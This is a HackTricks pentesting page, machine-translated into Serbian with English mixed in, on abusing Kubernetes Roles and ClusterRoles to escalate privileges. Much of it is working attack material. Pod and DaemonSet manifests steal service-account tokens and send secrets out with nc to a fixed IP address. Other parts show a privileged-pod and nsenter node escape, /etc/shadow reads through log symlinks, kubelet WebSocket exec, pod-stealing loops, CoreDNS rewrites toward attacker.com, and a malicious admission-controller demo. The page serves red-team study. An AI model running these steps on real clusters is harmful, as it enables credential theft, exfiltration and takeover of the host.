Zloupotreba Roles/ClusterRoles u Kubernetes

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovde možete naći neke potencijalno opasne Roles i ClusterRoles konfiguracije.
Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources

Privilege Escalation

Podrazumeva se kao umetnost dobijanja pristupa drugom principal-u unutar clustera sa drugačijim privilegijama (unutar kubernetes clustera ili prema eksternim cloud-ovima) nego one koje već imate, u Kubernetes-u postoje u suštini 4 glavne tehnike za eskalaciju privilegija:

  • Biti u mogućnosti da impersonate druge user/groups/SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
  • Biti u mogućnosti da create/patch/exec pods gde možete find or attach SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
  • Biti u mogućnosti da read secrets jer su SAs tokens smešteni kao secrets
  • Biti u mogućnosti da escape to the node iz kontejnera, gde možete ukrasti sve secrets kontejnera koji rade na node-u, kredencijale node-a, i permisije node-a unutar clouda u kome se izvršava (ako ih ima)
  • Peta tehnika koja zaslužuje pomen je sposobnost da run port-forward u pod-u, jer možete dobiti pristup interesantnim resursima unutar tog poda.

Pristup bilo kojem resursu ili verbu (Wildcard)

The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse bilo koji namespace u klasteru

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pristup bilo kojem resursu sa određenim verbom

U RBAC-u, određena dopuštenja predstavljaju značajne rizike:

  1. create: Omogućava kreiranje bilo kojeg resursa u klasteru, što može dovesti do privilege escalation.
  2. list: Dozvoljava listanje svih resursa, što može potencijalno leaking sensitive data.
  3. get: Dozvoljava pristup secrets iz service accounts, što predstavlja bezbednosnu pretnju.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Napadač koji ima dozvole za kreiranje pod-a može dodeliti privilegovani Service Account podu i ukrasti token kako bi se predstavljao kao taj Service Account, čime efektivno eskalira privilegije.

Primer poda koji će ukrasti token Service Account-a bootstrap-signer i poslati ga napadaču:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

  • Privileged access (onemogućavanje zaštita i podešavanje capabilities)
  • Disable namespaces hostIPC and hostPid koje mogu pomoći u eskalaciji privilegija
  • Disable hostNetwork namespace, što može omogućiti krađu cloud privilegija čvorova (nodes) i bolji pristup mrežama
  • Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Kreirajte pod pomoću:

kubectl --token $token create -f mount_root.yaml

Jednolinijski iz this tweet i sa nekim dodacima:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sada kada možeš da escape-uješ na node, proveri post-exploitation tehnike u:

Stealth

Verovatno želiš da budeš diskretniji; na narednim stranicama možeš videti šta bi mogao da pristupiš ako kreiraš pod uključujući samo neke od dole pomenutih privilegija iz prethodnog šablona:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods

Kreiranje pod-a - prelazak u cloud

Ako možeš da kreiraš a pod (i opciono a service account) možda ćeš moći da dobiješ privilegije u cloud okruženju dodeljivanjem cloud roles podu ili service account-u i potom mu pristupiš.
Pored toga, ako možeš da kreiraš pod with the host network namespace možeš da steal the IAM role instanci node.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Moguće je zloupotrebiti ove dozvole da kreiraš novi pod i uspostaviš privilegije kao u prethodnom primeru.

Sledeći yaml creates a daemonset and exfiltrates the token of the SA unutar pod-a:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec je resurs u kubernetes koji se koristi za pokretanje komandi u shell-u unutar poda. Ovo omogućava da se pokreću komande unutar containers ili da se dobije shell iznutra.

Stoga je moguće ući u pod i ukrasti token SA, ili ući u privilegiovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (ab)use the node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Podrazumevano se komanda izvršava u prvom container-u poda. Dobavite sve kontejnere u podu sa kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' i zatim odredite container u kojem želite da je izvršite pomoću kubectl exec -it <pod_name> -c <container_name> -- sh

Ako je to distroless container, možete pokušati da koristite shell builtins da dobijete informacije o container-ima ili da otpremite sopstvene alate kao što je busybox koristeći: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Ovo dopuštenje omogućava da proslijedite jedan lokalni port na jedan port u specificiranom podu. Ovo je namenjeno da olakša debug aplikacija koje rade unutar poda, ali napadač to može zloupotrebiti da bi pristupio interesantnim (npr. DBs) ili ranjivim aplikacijama (npr. web serverima?) unutar poda:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As naznačeno u ovom istraživanju, if you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container.
Ovo je углавном зато што када Kube-API pokuša da preuzme logove kontejnera (koristeći kubectl logs <pod>), он zahteva 0.log fajl poda преко /logs/ endpoint-a Kubelet servisa.
Kubelet servis izlaže /logs/ endpoint који у суштини izlaže /var/log datotečni sistem kontejnera.

Stoga, napadač sa pristupom za upis u /var/log/ direktorijum kontejnera може злоупотребити ова понашања на 2 начина:

  • Modifying the 0.log file of its container (usually located in /var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to /etc/shadow for example. Then, you will be able to exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ako napadač kontroliše bilo koji principal sa dozvolama za čitanje nodes/log, može jednostavno napraviti symlink u /host-mounted/var/log/sym koji pokazuje na /, i kada pristupi https://<gateway>:10250/logs/sym/ biće mu prikazan root filesystem hosta (promenom symlinka može se dobiti pristup fajlovima).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorija i automatizovani exploit se mogu naći u https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Zaobilaženje readOnly zaštite

Ako imate sreće i visoko privilegovana kapabilnost CAP_SYS_ADMIN je dostupna, možete jednostavno ponovo montirati folder kao rw:

mount -o rw,remount /hostlogs/

Zaobilaženje hostPath readOnly zaštite

Kao što je navedeno u this research moguće je zaobići zaštitu:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

To je trebalo da spreči escapes poput prethodnih tako što bi, umesto korišćenja hostPath mount-a, koristio PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pristupom za pisanje:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonacija privilegovanih naloga

Sa privilegijom user impersonation, napadač može da se predstavi kao privilegovani nalog.

Samo koristite parametar --as=<username> u kubectl komandi da se predstavite kao korisnik, ili --as-group=<group> da se predstavite kao grupa:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ili koristite REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Nabrajanje secrets

Dozvola za list secrets može omogućiti napadaču da zapravo pročita secrets pristupajući REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kreiranje i čitanje Secrets

Postoji posebna vrsta Kubernetes secret-a tipa kubernetes.io/service-account-token koja čuva serviceaccount tokens. Ako imate dozvole za kreiranje i čitanje secret-ova, i ako takođe znate ime serviceaccount-a, možete kreirati secret na sledeći način i zatim ukrasti token ciljanog serviceaccount-a iz njega:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Primer exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Imajte na umu da, ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u.

Čitanje secret-a – brute-forcing token ID-ova

Iako napadaču koji poseduje token sa read permisijama treba tačno ime secreta da bi ga iskoristio, za razliku od šire privilegije listing secrets, i dalje postoje ranjivosti. Default service accounts u sistemu se mogu enumerisati, svaki je povezan sa jednim secret-om. Ovi secret-i imaju strukturu imena: statični prefiks nakon kojeg sledi nasumični peto-karakterni alfanumerički token (izuzimajući određene karaktere) prema source code.

Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789), umesto iz punog alfanumeričkog opsega. Ova ograničenost smanjuje ukupan broj mogućih kombinacija na 14.348.907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad i za nekoliko sati pogoditi token, što može dovesti do eskalacije privilegija pristupom osetljivim service account-ima.

EncrpytionConfiguration u čistom tekstu

Moguće je pronaći ključeve u čistom tekstu koji se koriste za enkripciju podataka u mirovanju u ovakvim objektima, npr.:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Zahtevi za potpisivanje sertifikata

Ako imate verb create na resursu certificatesigningrequests (ili bar na certificatesigningrequests/nodeClient), možete kreirati novi CeSR za novi čvor.

Prema dokumentaciji moguće je automatski odobriti ove zahteve, tako da vam u tom slučaju ne trebaju dodatne dozvole. Ako to nije omogućeno, moraćete biti u mogućnosti da odobrite zahtev, što podrazumeva update u certificatesigningrequests/approval i approve u signers sa resourceName <signerNameDomain>/<signerNamePath> ili <signerNameDomain>/*

Primer role sa svim potrebnim dozvolama je:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Dakle, kada je nova node CSR odobrena, možete zloupotrebiti specijalne dozvole node-ova da ukradete tajne i eskalirate privilegije.

In this post and this one the GKE K8s TLS Bootstrap configuration is configured with automatic signing and it’s abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.
Ako imate pomenute privilegije, možete uraditi isto. Napomena: prvi primer zaobilazi grešku koja sprečava novom node-u da pristupi tajnama unutar containera jer node može pristupiti samo tajnama containera koji su montirani na njega.

Način da se ovo zaobiđe je da se jednostavno kreiraju kredencijale čvora za node ime na kojem je montiran container sa interesantnim tajnama (ali pogledajte kako to uraditi u prvom postu):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Identiteti koji mogu da modifikuju configmaps u kube-system namespace-u na EKS (moraju biti u AWS) klasterima mogu da dobiju privilegije cluster admina prepisivanjem aws-auth configmap-a.
Potrebne operacije su update i patch, ili create ako configmap nije kreiran:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Možete koristiti aws-auth za persistence dajući pristup korisnicima iz drugih naloga.

Međutim, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne radi iz drugog naloga. Ali zapravo aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing radi ako umesto imena stavite ARN klastera.
Da bi kubectl radio, samo se pobrinite da konfigurišete victims kubeconfig i u aws exec args dodate --profile other_account_role tako da kubectl koristi profil drugog naloga da dobije token i kontaktira AWS.

CoreDNS config map

Ako imate dozvole da izmenite coredns configmap u kube-system namespace-u, možete izmeniti adresu na koju će domeni biti rešavani kako biste mogli izvršiti MitM napade radi krađe osetljivih informacija ili ubrizgavanja malicioznog sadržaja.

Potrebni verbi su update i patch nad coredns configmap-om (ili svim config maps).

Uobičajeni coredns file sadrži nešto ovako:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Napadač može da ga preuzme pokretanjem kubectl get configmap coredns -n kube-system -o yaml, izmeni ga dodavanjem nečega poput rewrite name victim.com attacker.com tako da kad god se pristupi victim.com zapravo će biti pristupljeno domenu attacker.com. Zatim ga primeni pokretanjem kubectl apply -f poison_dns.yaml.

Druga opcija je jednostavno izmeniti fajl pokretanjem kubectl edit configmap coredns -n kube-system i napraviti izmene.

Eskalacija u GKE

Postoje 2 načina da se dodelе K8s dozvole GCP principalima. U svakom slučaju principal takođe treba dozvolu container.clusters.get da bi mogao da prikupi kredencijale za pristup klasteru, ili ćeš morati da generišeš sopstveni kubectl config fajl (prati sledeći link).

Warning

Kada se razgovara sa K8s api endpoint-om, biće poslat GCP auth token. Zatim, GCP, preko K8s api endpoint-a, prvo proveri da li principal (po email-u) ima bilo kakav pristup unutar klastera, potom će proveriti da li ima bilo kakav pristup preko GCP IAM.
Ako je bilo koji od tih istinito, biće mu odgovoreno. Ako nije, biće vraćena greška koja sugeriše da se dodele dozvole preko GCP IAM.

Dakle, prvi metod je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako principal ima te dozvole, moći će da ih koristi.

GCP - Container Privesc

Drugi metod je dodeljivanje K8s dozvola unutar klastera identifikujući korisnika po njegovom email-u (uključujući GCP service accounts).

Kreiranje tokena za serviceaccounts

Principali koji mogu da create TokenRequests (serviceaccounts/token) — kada razgovaraju sa K8s api endpoint-om, mogu da dobiju token-e service account-a (info from here).

ephemeralcontainers

Principali koji mogu da update ili patch pods/ephemeralcontainers mogu steći izvršavanje koda na drugim pod-ovima, i potencijalno break out na njihov node dodavanjem ephemeral container-a sa privileged securityContext-om

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Principali sa bilo kojim od glagola create, update ili patch nad validatingwebhookconfigurations ili mutatingwebhookconfigurations mogu biti u mogućnosti da kreiraju jednu od takvih webhook konfiguracija kako bi mogli da eskaliraju privilegije.

For a mutatingwebhookconfigurations example check this section of this post.

Escalate

Kao što možeš pročitati u sledećoj sekciji: Built-in Privileged Escalation Prevention, principal ne može ni da ažurira ni da kreira roles ili clusterroles bez toga da sam poseduje te nove dozvole. Osim ako ima verb escalate or * over roles or clusterroles and the respective binding options.
Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego koje on ima.

Nodes proxy

Principali sa pristupom do nodes/proxy subresursa mogu izvršavati kod u podovima preko Kubelet API-ja (prema this). Više informacija o Kubelet autentifikaciji na ovoj stranici:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

  • Kubelet preslikava HTTP metode u RBAC glagole pre nego što dođe do nadogradnje protokola. WebSocket handshakes moraju početi sa HTTP GET (Connection: Upgrade), pa se /exec preko WebSocket-a proverava kao verb get umesto očekivanog create.
  • /exec, /run, /attach, and /portforward nisu eksplicitno mapirani i potpadaju pod podrazumevani proxy subresource, tako da autorizaciono pitanje postaje can <user> get nodes/proxy?
  • Ako token ima samo nodes/proxy + get, direktan WebSocket pristup kubelet-u na https://<node_ip>:10250 dozvoljava proizvoljno izvršavanje komandi u bilo kom pod-u na tom nodu. Isti zahtev preko API server proxy puta (/api/v1/nodes/<node>/proxy/exec/...) se odbija zato što je to običan HTTP POST i mapira se na create.
  • Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; samo se inicijalni GET procenjuje.

Direktan exploit (zahteva mrežnu dostupnost do kubelet-a i token sa nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Koristite Node IP, a ne ime node-a. Isti zahtev sa curl -X POST biće Forbidden zato što se mapira na create.
  • Direktan pristup kubelet-a zaobilazi API server, tako da AuditPolicy prikazuje samo subjectaccessreviews od kubelet user agenta i ne beleži pods/exec komande.
  • Enumerišite pogođene service accounts pomoću detection script da pronađete tokens ograničene na nodes/proxy GET.

Brisanje pods + onemogućavanje raspoređivanja na nodes

Subjekti koji mogu izbrisati pods (delete verb over pods resource), ili izbaciti pods (create verb over pods/eviction resource), ili promeniti status poda (pristup pods/status) i mogu učiniti druge nodes nepodesnim za raspoređivanje (pristup nodes/status) ili izbrisati nodes (delete verb over nodes resource) i imaju kontrolu nad jednim podom, mogu ukrasti pods sa drugih nodes tako da se oni izvrše na kompromitovanom node-u i napadač može ukrasti the tokens iz tih podova.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status servisa (CVE-2020-8554)

Subjekti koji mogu izmeniti services/status mogu postaviti polje status.loadBalancer.ingress.ip da iskoriste neispravljen CVE-2020-8554 i pokrenu MiTM napade protiv klastera. Većina mitigacija za CVE-2020-8554 sprečava samo ExternalIP services (prema this).

Status čvorova i podova

Subjekti koji imaju update ili patch dozvole nad nodes/status ili pods/status, mogu izmeniti labele da utiču na primenjena ograničenja raspoređivanja.

Ugrađena zaštita od eskalacije privilegija

Kubernetes ima ugrađen mehanizam za sprečavanje eskalacije privilegija.

Ovaj sistem osigurava da korisnici ne mogu povisiti svoje privilegije modifikovanjem rola ili role binding-a. Sprovođenje ovog pravila vrši se na nivou API-ja, obezbeđujući zaštitu čak i kada je RBAC authorizer neaktivan.

Pravilo predviđa da korisnik može kreirati ili ažurirati rolu samo ako poseduje sve dozvole koje ta rola obuhvata. Štaviše, obim postojećih dozvola korisnika mora biti usklađen sa obimom role koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničen na isti namespace (ili na nivou klastera) za Roles.

Warning

Postoji izuzetak od prethodnog pravila. Ako subjekt ima verb escalate nad roles ili clusterroles, može povećati privilegije rola i clusterrole čak i bez posedovanja tih dozvola.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Izgleda da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dodelili neke privilegije ako ih već nemate.

Dozvola za kreiranje Rolebinding-a omogućava korisniku da veže role za service account. Ova dozvola može potencijalno dovesti do eskalacije privilegija jer omogućava korisniku da veže admin privilegije za kompromitovani service account.

Ostali napadi

Sidecar proxy app

Podrazumevano ne postoji enkripcija u komunikaciji između podova. Mutual authentication, dvosmerna, pod-to-pod.

Kreirajte sidecar proxy aplikaciju

Sidecar container se sastoji u dodavanju drugog (ili više) kontejnera unutar poda.

Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first won’t have.

Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Zlonamerni Admission Controller

An admission controller presreće zahteve ka Kubernetes API serveru pre nego što se objekat bude perzistiran, ali nakon što je zahtev autentifikovan i autorizovan.

Ako napadač nekako uspe da inject a Mutation Admission Controller, biće u mogućnosti da izmeni već autentifikovane zahteve. To može potencijalno dovesti do privesc-a, a češće omogućiti perzistenciju u cluster-u.

Primer iz https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Proverite status da vidite da li je spremno:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Zatim pokrenite novi pod:

kubectl run nginx --image nginx
kubectl get po -w

Kada vidite grešku ErrImagePull, proverite ime image-a pomoću bilo kojeg od sledećih upita:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Kao što se vidi na gornjoj slici, pokušali smo da pokrenemo image nginx, ali je konačno izvršen image rewanthtammana/malicious-image. Šta se upravo desilo!!?

Tehničke pojedinosti

Skript ./deploy.sh uspostavlja mutating webhook admission controller, koji menja zahteve ka Kubernetes API kako je navedeno u linijama njegove konfiguracije, utičući na posmatrane rezultate:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Najbolje prakse

Onemogućavanje automount-a tokena servisnog naloga

  • Pods and Service Accounts: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala bezbednost, Kubernetes omogućava onemogućavanje ove automount funkcije.
